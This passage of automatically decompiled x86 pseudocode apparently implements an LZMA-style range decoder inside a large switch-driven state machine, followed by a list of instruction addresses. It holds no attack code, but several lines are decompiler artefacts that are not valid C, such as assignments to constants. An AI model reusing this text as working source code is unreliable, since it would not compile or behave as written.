                                                                                                        												 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t122;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												L39:
                                                                                                        												__eax =  *(__ebp - 0x40);
                                                                                                        												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                                        													goto L48;
                                                                                                        												}
                                                                                                        												__eflags = __ebx - 0x100;
                                                                                                        												if(__ebx >= 0x100) {
                                                                                                        													goto L54;
                                                                                                        												}
                                                                                                        												L41:
                                                                                                        												__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                                        												__ecx =  *(__ebp - 0x58);
                                                                                                        												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                                        												 *(__ebp - 0x48) = __eax;
                                                                                                        												__eax = __eax + 1;
                                                                                                        												__eax = __eax << 8;
                                                                                                        												__eax = __eax + __ebx;
                                                                                                        												__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__ax =  *__esi;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__edx = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													 *(__ebp - 0x40) = 1;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eflags = __eax;
                                                                                                        													__ebx = __ebx + __ebx + 1;
                                                                                                        													 *__esi = __ax;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edx;
                                                                                                        													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													goto L39;
                                                                                                        												} else {
                                                                                                        													goto L37;
                                                                                                        												}
                                                                                                        											case 0xe:
                                                                                                        												L46:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xe;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t156 = __ebp - 0x70;
                                                                                                        												 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t156;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												while(1) {
                                                                                                        													L48:
                                                                                                        													__eflags = __ebx - 0x100;
                                                                                                        													if(__ebx >= 0x100) {
                                                                                                        														break;
                                                                                                        													}
                                                                                                        													__eax =  *(__ebp - 0x58);
                                                                                                        													__edx = __ebx + __ebx;
                                                                                                        													__ecx =  *(__ebp - 0x10);
                                                                                                        													__esi = __edx + __eax;
                                                                                                        													__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        													__ax =  *__esi;
                                                                                                        													 *(__ebp - 0x54) = __esi;
                                                                                                        													__edi = __ax & 0x0000ffff;
                                                                                                        													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        													__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        													if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        														__cx = __ax;
                                                                                                        														_t170 = __edx + 1; // 0x1
                                                                                                        														__ebx = _t170;
                                                                                                        														__cx = __ax >> 5;
                                                                                                        														__eflags = __eax;
                                                                                                        														 *__esi = __ax;
                                                                                                        													} else {
                                                                                                        														 *(__ebp - 0x10) = __ecx;
                                                                                                        														0x800 = 0x800 - __edi;
                                                                                                        														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        														__ebx = __ebx + __ebx;
                                                                                                        														 *__esi = __cx;
                                                                                                        													}
                                                                                                        													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        													 *(__ebp - 0x44) = __ebx;
                                                                                                        													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        														continue;
                                                                                                        													} else {
                                                                                                        														goto L46;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												L54:
                                                                                                        												_t173 = __ebp - 0x34;
                                                                                                        												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                                        												__eflags =  *_t173;
                                                                                                        												goto L55;
                                                                                                        											case 0xf:
                                                                                                        												L58:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xf;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t203 = __ebp - 0x70;
                                                                                                        												 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t203;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												L60:
                                                                                                        												__eflags = __ebx - 0x100;
                                                                                                        												if(__ebx >= 0x100) {
                                                                                                        													L55:
                                                                                                        													__al =  *(__ebp - 0x44);
                                                                                                        													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                                        													goto L56;
                                                                                                        												}
                                                                                                        												L61:
                                                                                                        												__eax =  *(__ebp - 0x58);
                                                                                                        												__edx = __ebx + __ebx;
                                                                                                        												__ecx =  *(__ebp - 0x10);
                                                                                                        												__esi = __edx + __eax;
                                                                                                        												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__ax =  *__esi;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__edi = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													_t217 = __edx + 1; // 0x1
                                                                                                        													__ebx = _t217;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eflags = __eax;
                                                                                                        													 *__esi = __ax;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edi;
                                                                                                        													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													goto L60;
                                                                                                        												} else {
                                                                                                        													goto L58;
                                                                                                        												}
                                                                                                        											case 0x10:
                                                                                                        												L109:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x10;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t365 = __ebp - 0x70;
                                                                                                        												 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t365;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												goto L111;
                                                                                                        											case 0x11:
                                                                                                        												goto L69;
                                                                                                        											case 0x12:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__eax =  *(__ebp - 0x58);
                                                                                                        													 *(__ebp - 0x84) = 0x13;
                                                                                                        													__esi =  *(__ebp - 0x58) + 2;
                                                                                                        													while(1) {
                                                                                                        														L132:
                                                                                                        														 *(_t613 - 0x54) = _t606;
                                                                                                        														goto L133;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x4c);
                                                                                                        												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                                        												__ecx =  *(__ebp - 0x58);
                                                                                                        												__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        												__eflags = __eax;
                                                                                                        												__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                                        												goto L130;
                                                                                                        											case 0x13:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													_t469 = __ebp - 0x58;
                                                                                                        													 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                                        													__eflags =  *_t469;
                                                                                                        													 *(__ebp - 0x30) = 0x10;
                                                                                                        													 *(__ebp - 0x40) = 8;
                                                                                                        													L144:
                                                                                                        													 *(__ebp - 0x7c) = 0x14;
                                                                                                        													goto L145;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x4c);
                                                                                                        												__ecx =  *(__ebp - 0x58);
                                                                                                        												__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        												 *(__ebp - 0x30) = 8;
                                                                                                        												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                                        												L130:
                                                                                                        												 *(__ebp - 0x58) = __eax;
                                                                                                        												 *(__ebp - 0x40) = 3;
                                                                                                        												goto L144;
                                                                                                        											case 0x14:
                                                                                                        												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                                        												__eax =  *(__ebp - 0x80);
                                                                                                        												 *(_t613 - 0x88) = _t533;
                                                                                                        												goto L1;
                                                                                                        											case 0x15:
                                                                                                        												__eax = 0;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        												__al = __al & 0x000000fd;
                                                                                                        												__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                                        												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                                        												goto L120;
                                                                                                        											case 0x16:
                                                                                                        												__eax =  *(__ebp - 0x30);
                                                                                                        												__eflags = __eax - 4;
                                                                                                        												if(__eax >= 4) {
                                                                                                        													_push(3);
                                                                                                        													_pop(__eax);
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 4);
                                                                                                        												 *(__ebp - 0x40) = 6;
                                                                                                        												__eax = __eax << 7;
                                                                                                        												 *(__ebp - 0x7c) = 0x19;
                                                                                                        												 *(__ebp - 0x58) = __eax;
                                                                                                        												goto L145;
                                                                                                        											case 0x17:
                                                                                                        												L145:
                                                                                                        												__eax =  *(__ebp - 0x40);
                                                                                                        												 *(__ebp - 0x50) = 1;
                                                                                                        												 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                                        												goto L149;
                                                                                                        											case 0x18:
                                                                                                        												L146:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x18;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t484 = __ebp - 0x70;
                                                                                                        												 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t484;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												L148:
                                                                                                        												_t487 = __ebp - 0x48;
                                                                                                        												 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                                        												__eflags =  *_t487;
                                                                                                        												L149:
                                                                                                        												__eflags =  *(__ebp - 0x48);
                                                                                                        												if( *(__ebp - 0x48) <= 0) {
                                                                                                        													__ecx =  *(__ebp - 0x40);
                                                                                                        													__ebx =  *(__ebp - 0x50);
                                                                                                        													0 = 1;
                                                                                                        													__eax = 1 << __cl;
                                                                                                        													__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                                        													__eax =  *(__ebp - 0x7c);
                                                                                                        													 *(__ebp - 0x44) = __ebx;
                                                                                                        													while(1) {
                                                                                                        														 *(_t613 - 0x88) = _t533;
                                                                                                        														goto L1;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x50);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        												__eax =  *(__ebp - 0x58);
                                                                                                        												__esi = __edx + __eax;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__ax =  *__esi;
                                                                                                        												__edi = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eax = __eax - __ecx;
                                                                                                        													__edx = __edx + 1;
                                                                                                        													__eflags = __edx;
                                                                                                        													 *__esi = __ax;
                                                                                                        													 *(__ebp - 0x50) = __edx;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edi;
                                                                                                        													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													goto L148;
                                                                                                        												} else {
                                                                                                        													goto L146;
                                                                                                        												}
                                                                                                        											case 0x19:
                                                                                                        												__eflags = __ebx - 4;
                                                                                                        												if(__ebx < 4) {
                                                                                                        													 *(__ebp - 0x2c) = __ebx;
                                                                                                        													L119:
                                                                                                        													_t393 = __ebp - 0x2c;
                                                                                                        													 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                                        													__eflags =  *_t393;
                                                                                                        													L120:
                                                                                                        													__eax =  *(__ebp - 0x2c);
                                                                                                        													__eflags = __eax;
                                                                                                        													if(__eax == 0) {
                                                                                                        														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                                        														goto L170;
                                                                                                        													}
                                                                                                        													__eflags = __eax -  *(__ebp - 0x60);
                                                                                                        													if(__eax >  *(__ebp - 0x60)) {
                                                                                                        														goto L171;
                                                                                                        													}
                                                                                                        													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                                        													__eax =  *(__ebp - 0x30);
                                                                                                        													_t400 = __ebp - 0x60;
                                                                                                        													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                                        													__eflags =  *_t400;
                                                                                                        													goto L123;
                                                                                                        												}
                                                                                                        												__ecx = __ebx;
                                                                                                        												__eax = __ebx;
                                                                                                        												__ecx = __ebx >> 1;
                                                                                                        												__eax = __ebx & 0x00000001;
                                                                                                        												__ecx = (__ebx >> 1) - 1;
                                                                                                        												__al = __al | 0x00000002;
                                                                                                        												__eax = (__ebx & 0x00000001) << __cl;
                                                                                                        												__eflags = __ebx - 0xe;
                                                                                                        												 *(__ebp - 0x2c) = __eax;
                                                                                                        												if(__ebx >= 0xe) {
                                                                                                        													__ebx = 0;
                                                                                                        													 *(__ebp - 0x48) = __ecx;
                                                                                                        													L102:
                                                                                                        													__eflags =  *(__ebp - 0x48);
                                                                                                        													if( *(__ebp - 0x48) <= 0) {
                                                                                                        														__eax = __eax + __ebx;
                                                                                                        														 *(__ebp - 0x40) = 4;
                                                                                                        														 *(__ebp - 0x2c) = __eax;
                                                                                                        														__eax =  *(__ebp - 4);
                                                                                                        														__eax =  *(__ebp - 4) + 0x644;
                                                                                                        														__eflags = __eax;
                                                                                                        														L108:
                                                                                                        														__ebx = 0;
                                                                                                        														 *(__ebp - 0x58) = __eax;
                                                                                                        														 *(__ebp - 0x50) = 1;
                                                                                                        														 *(__ebp - 0x44) = 0;
                                                                                                        														 *(__ebp - 0x48) = 0;
                                                                                                        														L112:
                                                                                                        														__eax =  *(__ebp - 0x40);
                                                                                                        														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                                        															_t391 = __ebp - 0x2c;
                                                                                                        															 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                                        															__eflags =  *_t391;
                                                                                                        															goto L119;
                                                                                                        														}
                                                                                                        														__eax =  *(__ebp - 0x50);
                                                                                                        														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        														__eax =  *(__ebp - 0x58);
                                                                                                        														__esi = __edi + __eax;
                                                                                                        														 *(__ebp - 0x54) = __esi;
                                                                                                        														__ax =  *__esi;
                                                                                                        														__ecx = __ax & 0x0000ffff;
                                                                                                        														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                                        														__eflags =  *(__ebp - 0xc) - __edx;
                                                                                                        														if( *(__ebp - 0xc) >= __edx) {
                                                                                                        															__ecx = 0;
                                                                                                        															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                                        															__ecx = 1;
                                                                                                        															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                                        															__ebx = 1;
                                                                                                        															__ecx =  *(__ebp - 0x48);
                                                                                                        															__ebx = 1 << __cl;
                                                                                                        															__ecx = 1 << __cl;
                                                                                                        															__ebx =  *(__ebp - 0x44);
                                                                                                        															__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                                        															__cx = __ax;
                                                                                                        															__cx = __ax >> 5;
                                                                                                        															__eax = __eax - __ecx;
                                                                                                        															__edi = __edi + 1;
                                                                                                        															__eflags = __edi;
                                                                                                        															 *(__ebp - 0x44) = __ebx;
                                                                                                        															 *__esi = __ax;
                                                                                                        															 *(__ebp - 0x50) = __edi;
                                                                                                        														} else {
                                                                                                        															 *(__ebp - 0x10) = __edx;
                                                                                                        															0x800 = 0x800 - __ecx;
                                                                                                        															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                                        															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        															 *__esi = __dx;
                                                                                                        														}
                                                                                                        														__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        														if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        															L111:
                                                                                                        															_t368 = __ebp - 0x48;
                                                                                                        															 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                                        															__eflags =  *_t368;
                                                                                                        															goto L112;
                                                                                                        														} else {
                                                                                                        															goto L109;
                                                                                                        														}
                                                                                                        													}
                                                                                                        													__ecx =  *(__ebp - 0xc);
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                                        													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        													 *(__ebp - 0x44) = __ebx;
                                                                                                        													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                                        														__ecx =  *(__ebp - 0x10);
                                                                                                        														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        														__ebx = __ebx | 0x00000001;
                                                                                                        														__eflags = __ebx;
                                                                                                        														 *(__ebp - 0x44) = __ebx;
                                                                                                        													}
                                                                                                        													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        														L101:
                                                                                                        														_t338 = __ebp - 0x48;
                                                                                                        														 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                                        														__eflags =  *_t338;
                                                                                                        														goto L102;
                                                                                                        													} else {
                                                                                                        														goto L99;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__edx =  *(__ebp - 4);
                                                                                                        												__eax = __eax - __ebx;
                                                                                                        												 *(__ebp - 0x40) = __ecx;
                                                                                                        												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                                        												goto L108;
                                                                                                        											case 0x1a:
                                                                                                        												L56:
                                                                                                        												__eflags =  *(__ebp - 0x64);
                                                                                                        												if( *(__ebp - 0x64) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x1a;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x68);
                                                                                                        												__al =  *(__ebp - 0x5c);
                                                                                                        												__edx =  *(__ebp - 8);
                                                                                                        												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        												 *( *(__ebp - 0x68)) = __al;
                                                                                                        												__ecx =  *(__ebp - 0x14);
                                                                                                        												 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                                        												__eax = __ecx + 1;
                                                                                                        												__edx = 0;
                                                                                                        												_t192 = __eax %  *(__ebp - 0x74);
                                                                                                        												__eax = __eax /  *(__ebp - 0x74);
                                                                                                        												__edx = _t192;
                                                                                                        												goto L80;
                                                                                                        											case 0x1b:
                                                                                                        												L76:
                                                                                                        												__eflags =  *(__ebp - 0x64);
                                                                                                        												if( *(__ebp - 0x64) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0x1b;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        												if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        													__eax = __eax +  *(__ebp - 0x74);
                                                                                                        													__eflags = __eax;
                                                                                                        												}
                                                                                                        												__edx =  *(__ebp - 8);
                                                                                                        												__cl =  *(__eax + __edx);
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												 *(__ebp - 0x5c) = __cl;
                                                                                                        												 *(__eax + __edx) = __cl;
                                                                                                        												__eax = __eax + 1;
                                                                                                        												__edx = 0;
                                                                                                        												_t275 = __eax %  *(__ebp - 0x74);
                                                                                                        												__eax = __eax /  *(__ebp - 0x74);
                                                                                                        												__edx = _t275;
                                                                                                        												__eax =  *(__ebp - 0x68);
                                                                                                        												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        												_t284 = __ebp - 0x64;
                                                                                                        												 *_t284 =  *(__ebp - 0x64) - 1;
                                                                                                        												__eflags =  *_t284;
                                                                                                        												 *( *(__ebp - 0x68)) = __cl;
                                                                                                        												L80:
                                                                                                        												 *(__ebp - 0x14) = __edx;
                                                                                                        												goto L81;
                                                                                                        											case 0x1c:
                                                                                                        												while(1) {
                                                                                                        													L123:
                                                                                                        													__eflags =  *(__ebp - 0x64);
                                                                                                        													if( *(__ebp - 0x64) == 0) {
                                                                                                        														break;
                                                                                                        													}
                                                                                                        													__eax =  *(__ebp - 0x14);
                                                                                                        													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        													__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        													if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        														__eax = __eax +  *(__ebp - 0x74);
                                                                                                        														__eflags = __eax;
                                                                                                        													}
                                                                                                        													__edx =  *(__ebp - 8);
                                                                                                        													__cl =  *(__eax + __edx);
                                                                                                        													__eax =  *(__ebp - 0x14);
                                                                                                        													 *(__ebp - 0x5c) = __cl;
                                                                                                        													 *(__eax + __edx) = __cl;
                                                                                                        													__eax = __eax + 1;
                                                                                                        													__edx = 0;
                                                                                                        													_t414 = __eax %  *(__ebp - 0x74);
                                                                                                        													__eax = __eax /  *(__ebp - 0x74);
                                                                                                        													__edx = _t414;
                                                                                                        													__eax =  *(__ebp - 0x68);
                                                                                                        													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                                        													__eflags =  *(__ebp - 0x30);
                                                                                                        													 *( *(__ebp - 0x68)) = __cl;
                                                                                                        													 *(__ebp - 0x14) = _t414;
                                                                                                        													if( *(__ebp - 0x30) > 0) {
                                                                                                        														continue;
                                                                                                        													} else {
                                                                                                        														L81:
                                                                                                        														 *(__ebp - 0x88) = 2;
                                                                                                        														goto L1;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												 *(__ebp - 0x88) = 0x1c;
                                                                                                        												goto L170;
                                                                                                        										}
                                                                                                        									}
                                                                                                        									L171:
                                                                                                        									_t535 = _t534 | 0xffffffff;
                                                                                                        									goto L172;
                                                                                                        								}
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        					goto L1;
                                                                                                        				}
                                                                                                        			}













                                                                                                        0x00000000
                                                                                                        0x004064ee
                                                                                                        0x004064ee
                                                                                                        0x004064f2
                                                                                                        0x004064ff
                                                                                                        0x00406509
                                                                                                        0x00000000
                                                                                                        0x004064f4
                                                                                                        0x004064f4
                                                                                                        0x0040652f
                                                                                                        0x00406532
                                                                                                        0x00406535
                                                                                                        0x00406538
                                                                                                        0x00406538
                                                                                                        0x0040653b
                                                                                                        0x00406542
                                                                                                        0x00406547
                                                                                                        0x00406428
                                                                                                        0x0040642b
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067ee
                                                                                                        0x004067f2
                                                                                                        0x004069a1
                                                                                                        0x004069b7
                                                                                                        0x004069bf
                                                                                                        0x004069c6
                                                                                                        0x004069c8
                                                                                                        0x004069cf
                                                                                                        0x004069d3
                                                                                                        0x004069d3
